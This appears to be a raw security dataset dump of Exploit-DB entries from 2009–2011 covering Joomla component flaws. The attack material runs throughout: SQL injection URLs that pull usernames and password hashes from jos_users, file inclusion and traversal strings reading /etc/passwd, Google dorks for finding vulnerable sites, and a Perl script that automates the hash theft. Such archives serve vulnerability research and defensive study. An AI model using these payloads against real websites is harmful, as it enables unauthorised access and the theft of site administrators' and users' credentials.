deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14463
Description: Joomla! Component com_itarmory - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-24
Author: Craw

Exploit:
# Author: Craw
# Email: craw@element7.eu              
# Software Link: http://www.intherapy.eu/index.php/itarmory-component/category/3-component
# Version: <=0.1.4
# Category: webapplications

=======================================================

[+] Vulnerable File :

 http://www.site.com/index.php?option=com_itarmory&view=guildmembers&Itemid=[SQL]

 
[+] ExploiT :

 ?filter_search=&filter_level=1&filter_race=*&filter_class=8+and+1=2+union+all+select+1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11+from+jos_users--+

 
[+] Example :

 http://www.site.com/index.php?option=com_itarmory&view=guildmembers&Itemid=?filter_search=&filter_level=1&filter_race=*&filter_class=8+and+1=2+union+all+select+1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11+from+jos_users--+

 

=======================================================
Greetz @ LUXEMBOURG
=======================================================
Exploit-DB #11941
Description: Joomla! Component com_items - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-29
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_items SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-29

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_items SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_items&parent=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+version(),2--

Now You Can See Result In Source Page :

Mozila : Ctrl + U

IE     : View - Source
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_items&parent=-1+UNION+SELECT+version(),2--

[~] Demo            :

http://www.site.com/index.php?option=com_items&parent=-1+UNION+SELECT+version(),2--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #10988
Description: Joomla! Component com_j-projects - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-04
Author: Pyske

Exploit:
<------------------- header data start ------------------- >

#############################################################
# Joomla Component com_j-projects Blind SQL Injection Vulnerability
#############################################################

# Author : Pyske


# Name : com_j-projects


# Bug Type : Blind SQL Injection


# Infection : Admin login bilgileri al?nabilir.




# Bug Fix Advice : Zararli karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path /index.php?option=com_j-projects&Itemid=102&cat=5&task=projects&project=30/**/and/**/1=0/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13/**/from/**/jos_users

< -- bug code end of -- >
Exploit-DB #12144
Description: Joomla! Component com_jajobboard - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-04-11
Author: AntiSecurity

Exploit:
=======================================================================================================================


  [o] Joomla Component JA Job Board Multiple Local File Inclusion Vulnerability
 
       Software : com_jajobboard version 1.4.4
       Vendor   : http://jobboard.joomlart.com/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=======================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_jajobboard&view=[LFI]
       http://localhost/[path]/index.php?option=com_jajobboard&controller=[LFI]


  [o] PoC

       http://localhost/[path]/index.php?option=com_jajobboard&view=../../../../../../../../../../etc/passwd%00
       http://localhost/[path]/index.php?option=com_jajobboard&controller=../../../../../../../../../../etc/passwd%00


=======================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=======================================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #11757
Description: Joomla! Component com_janews - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-15
Author: AtT4CKxT3rR0r1ST

Exploit:
####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_janews
.:. Bug Type : Local File Inclusion [LFI]
.:. Dork : inurl:"com_janews"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_janews&controller=[LFI]
www.site.com/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00

####################################################################
Exploit-DB #7717
Description: Joomla! Component com_jashowcase - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-11
Author: EcHoLL

Exploit:
#!/usr/bin/perl -w

#Joomla com_jashowcase Sql injection#
########################################
#[~] Author : EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous
#[!] Module_Name: com_jashowcase
#[!] Script_Name: Joomla
#[!] Google_Dork: inurl:"com_jashowcase"
########################################

system("color FF0000");
system("Nohacking");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t| Turkish Securtiy Team |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_jashowcase(section&id=)Remote SQL Injection Vuln|\n\n";
print "\t\t| Coded by: EcHoLL www.warezturk.org |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_jashowcase&view=jashowcase&Itemid=109&catid=34+AND+1=2+UNION+SELECT+0,1,".$column_name.",3,4,5,6,7,8,9,10,11,12+from/**/".$table_name."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Tebrikler Exploit Calisti! #\n\n";
}
else{print "\n[-] Exploit BulunamadÄ±...\n";
}

# milw0rm.com [2009-01-11]
Exploit-DB #11090
Description: Joomla! Component com_jashowcase - Directory Traversal
Type: webapps
Platform: php
Date: 2010-01-10
Author: FL0RiX

Exploit:
@~~=======================================~~@
@~~=Script : Joomla Component com_jashowcase

@~~=Author : FL0RiX

@~~=Greez : Deep-Power ,Pyske,Wretch-x & All Friends

@~~=Bug Type : Directory Traversal

@~~=Dork : inurl:"com_jashowcase "

@~~=Note : Kimseye Hakettiginden Fazla Deger Vermeyecekmissin..!!

@~~=======================================~~@

@~~=Vuln.

: http://site/ [Yol] /index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00
Exploit-DB #10545
Description: Joomla! Component com_jbook - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-18
Author: FL0RiX

Exploit:
#############################################################
#        Joomla Component com_jbook Blind SQL-injection Vulnerability                                      #
#############################################################

# author        : Fl0riX 
# Greetz    : BARCOD3 , Septemb0x, Deep-Power,DreamPower,Pyske,F0rtys3v3n,BlackApple
# Name         : com_jbook

# Bug Type    : Blind SQL Injection

# Infection     : Admin login bilgileri al&#65533;nabilir.

# Demo Vuln.  :
TRUE(+)
&#65533; http:/server/index.php?option=com_jbook&Itemid=90 and 1=1
FALSE(-)
&#65533; http://server/index.php?option=com_jbook&Itemid=90 and 1=0

# Bug Fix Advice : Zararl&#65533; karakterler filtrelenmelidir.

# Greez : KinqSqlZ Crew
#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_jbook&Itemid=null/**/and/**/1=0/**/union/**/select/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

< -- bug code end of -- >
Exploit-DB #11238
Description: Joomla! Component com_jbpublishdownfp - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-23
Author: B-HUNT3|2

Exploit:
[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_jbpublishdownfp) SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost
[~]>> PRE-REQUERIMENTS: Privileged user

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var cid[] is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.4 but probably other versions also 
[~]>> RISK: Low/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOFS OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_jbpublishdownfp&task=edit&cid[]=[SQL]
[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_jbpublishdownfp&task=edit&cid[]=-1+union+all+select+concat(username,0x3A3A3A,password)+from+jos_users

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
Exploit-DB #10587
Description: Joomla! Component com_jcalpro 1.5.3.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-13
Author: kaMtiEz

Exploit:
#############################################################################################################
##
## Author : kaMtiEz kamzcrew@yahoo.com)								   ##
## ##Homepage:http://www.indonesiancoder.com    	     					    	    ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.anything-digital.com
[+] version : 1.5.3.6 Stable or upper / lower maybe also affected
[+] Dork : inurl:"com_jcalpro"
#############################################################################################################

[ Vulnerable File ]

http://server/components/com_jcalpro/cal_popup.php?mosConfig_absolute_path=[INDONESIANCODER]

[ BUG ]

cal_popup.php

[ FIX ]

tanya aurakasih mungkin dia tauh :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] Setelah Bertapa kagak jelas ampe pagi sama Om Don Tukuesto ... dan lagi lagi akhirnya nemu lobang :D
[+] iseng2 berhadiah bugs .. omegod >.<
[+] capek juga dari surabaya .. fyuh .,. 
[ QUOTE ]

[+] one day .. u will be mind .. >.<
[+] AURAKASIH u are so  .. hha
Exploit-DB #11088
Description: Joomla! Component com_jcollection - Directory Traversal
Type: webapps
Platform: php
Date: 2010-01-10
Author: FL0RiX

Exploit:
@~~=======================================~~@
@~~=Script : Joomla Component com_jcollection

@~~=Author : FL0RiX

@~~=Greez : Dost mu var?

@~~=Bug Type : Directory Traversal

@~~=Dork : inurl:"com_jcollection "

@~~=Note: Kimseye Hakettiginden Fazla Deger Vermeyeceksin.

@~~=======================================~~@

@~~=Vuln.

: http://site/ [Yol] /index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00
Exploit-DB #13798
Description: Joomla! Component com_jcommunity - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-09
Author: Sid3^effects

Exploit:
       ============================================
        joomla com_jcommunity SQLi Vulnerability
       ============================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Joomla com_jcommunity SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://ijoobi.com
Dork: inurl:com_jcommunity
Platform: Windows
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

Joomla com_jcommunity from ijoobi suffers from sql injection vulnerability :).


###############################################################################################################

Xploit: SQLi Vulnerability

DEMO URL :

    http://server/index.php?option=com_jcommunity&controller=members&task=[sqli]

###############################################################################################################
# 0day no more
# Sid3^effects
Exploit-DB #17603
Description: Joomla! Component com_jdirectory - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-03
Author: Caddy Dz

Exploit:
=====================================================================
                      .__         .__  __            .__    .___
  ____ ___  _________ |  |   ____ |__|/  |_          |__| __| _/
_/ __ \\  \/  /\____ \|  |  /  _ \|  \   __\  ______ |  |/ __ | 
\  ___/ >    < |  |_> >  |_(  <_> )  ||  |   /_____/ |  / /_/ | 
 \___  >__/\_ \|   __/|____/\____/|__||__|           |__\____ | 
     \/      \/|__|                                          \/  
			Exploit-ID is the Exploit Information Disclosure
 
Web             : exploit-id.com	
e-mail          : root[at]exploit-id[dot]com             
 
            	   	 #########################################			  
		  	   I'm Caddy-Dz, member of Exploit-Id				
		  	 #########################################			  
======================================================================
 
####
# Exploit Title: Joomla Component com_jdirectory SQL Injection Vulnerability
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: islam_babia[at]hotmail.com  |  Caddy-Dz[at]exploit-id.com
# Website: www.exploit-id.com
# Google Dork: inurl:/component/option,com_jdirectory
# Category:: Webapps
# Tested on: [Windows 7 Edition Intégral- French]
# Vendor: http://www.joomace.net/downloads/acesef/extensions/jdirectory-acesef
####
 
 
[*] ExpLo!T :
 
http://www.site.com/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0
 
http://www.site.com/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 # Inject Here
 
 
####

[+] Peace From Algeria
 
####

=================================**Algerians Hackers**=======================================|
# Greets To :                                                                                |
  KedAns-Dz , Kalashinkov3 & **All Algerians Hackers** , jos_ali_joe , Z190T ,               |
  All Exploit-Id Team , (exploit-id.com) , (1337day.com) , (dis9.com) , (exploit-db.com)     |
  All My Friends: T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer , MaaTar , St0fa , Nissou , | 
  RmZ ...others                                                                              |
============================================================================================ |
Exploit-DB #12183
Description: Joomla! Component com_jdrugstopics - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-12
Author: SadHaCkEr

Exploit:
# Title: Joomla Component com_jdrugstopics SQL Injection Vulnerability 
# Author: SadHaCkEr
# Data  : 2010-04-12
 
[~]######################################### InformatioN #############################################[~]

#AUTHOR:            SadHaCkEr                                                
#Email:             n5s@hotmail.[choose ANY ONE]   IF U lucky  U will Find Me                             
#Website:           http://www.sadx.297m.com/                                
#Forum :            http://v4-team.net/cc                                    
    
[~]#########################################   ExploiT   #############################################[~]
  
[~] Vulnerable  :
  
http://127.0.0.1/index.php?option=com_jdrugstopics&view=drugsdetails&id=[SQL]
  
[~] ExploiT         :
  
-226 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13 from jos_users--
  
[~] Example         :
  
http://127.0.0.1/index.php?option=com_jdrugstopics&view=drugsdetails&id=
-226 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13 from jos_users--

 
   
[~]######################################### ThankS To ... ############################################[~]
  
[~] Special Thanks 2 :
  
RoMaNcYxHaCkEr, Mr.Safa7, Mn7oS & Sniper Code & Red Virus & HCJ & Mr.Wolf & ayaster & All Trayg Member .
  
[~] Trayg Team + V4-Team + SVT Team 
  
[~] GreetZ 2: My LoV3r + My Keyboard
 
[~]#########################################  ./Done   #############################################[~]
Exploit-DB #10625
Description: Joomla! Component com_jeemaarticlecollection - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-24
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >

#############################################################
       Joomla Component com_jeemaarticlecollection SQL injection Vulnerability                                          
#############################################################

#author        : Fl0riX

# Greetz          : BARCOD3 , Septemb0x, Deep-Power,DreamPower,Pyske,3kb3r

# Name        : com_jeemaarticlecollection

# Bug Type       : SQL Injection

# Infection      : Admin login bilgileri al&#65533;nabilir.

# Bug Fix Advice : Zararl&#65533; karakterler filtrelenmelidir. Kimsesizli&#65533;im O Dereceye Vard&#65533; Ki &#65533;evremde Bela Girdab&#65533;ndan Ba&#65533;ka D&#65533;nen Kimse Yok.(!)

# Note : Kimsesizli&#65533;im O Dereceye Vard&#65533; Ki &#65533;evremde Bela Girdab&#65533;ndan Ba&#65533;ka D&#65533;nen Kimse Yok.(!)

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?view=longview&catid=null/**/union/**/select/**/concat(username,0x3a,password),2/**/from/**/jos_users&Itemid=107&option=com_jeemaarticlecollection

< -- bug code end of -- >
Exploit-DB #14063
Description: Joomla! Component com_jejob - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-26
Author: Sid3^effects

Exploit:
Name : Joomla com_jejob LFI Vulnerability
Date : june, 26 2010
Critical Level     : HIGH
Vendor Url : http://joomlaextensions.co.in/jobcomponent/
Google Dork: inurl:com_jejob
Price:$25.00
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
User can search the job by Location or by Job Title or by Experience. User can also see the job category at the front page. Category wise

jobs are displayed in it. Click on the particular category it will display that category jobs. If user wants to apply for that job then click

on that job then it will display the job full description. Only registered user can applied for the job.
If new user register then he will gets the mail from administrator. Account detail for that user will be sent in that mail. If user has

applied the job then each time administrator and job company gets the mail form that user.
Admin can set the design of the job category page, job page and Job description page from the three different type of editor which will be

given in the Configuration Management. Default design will be given in the editors. Admin can make that own design for that pages.
There are three different managers in the admin side.
1. Category Management
2. Job Management
3. Fields Management
4. Form Layout
5. User Job
6. Configuration

#######################################################################################################
Xploit:com_jejob LFI Vulnerability


DEMO URL : http://server/jobcomponent/index.php?option=com_jejob&view=[LFI]

######################################################################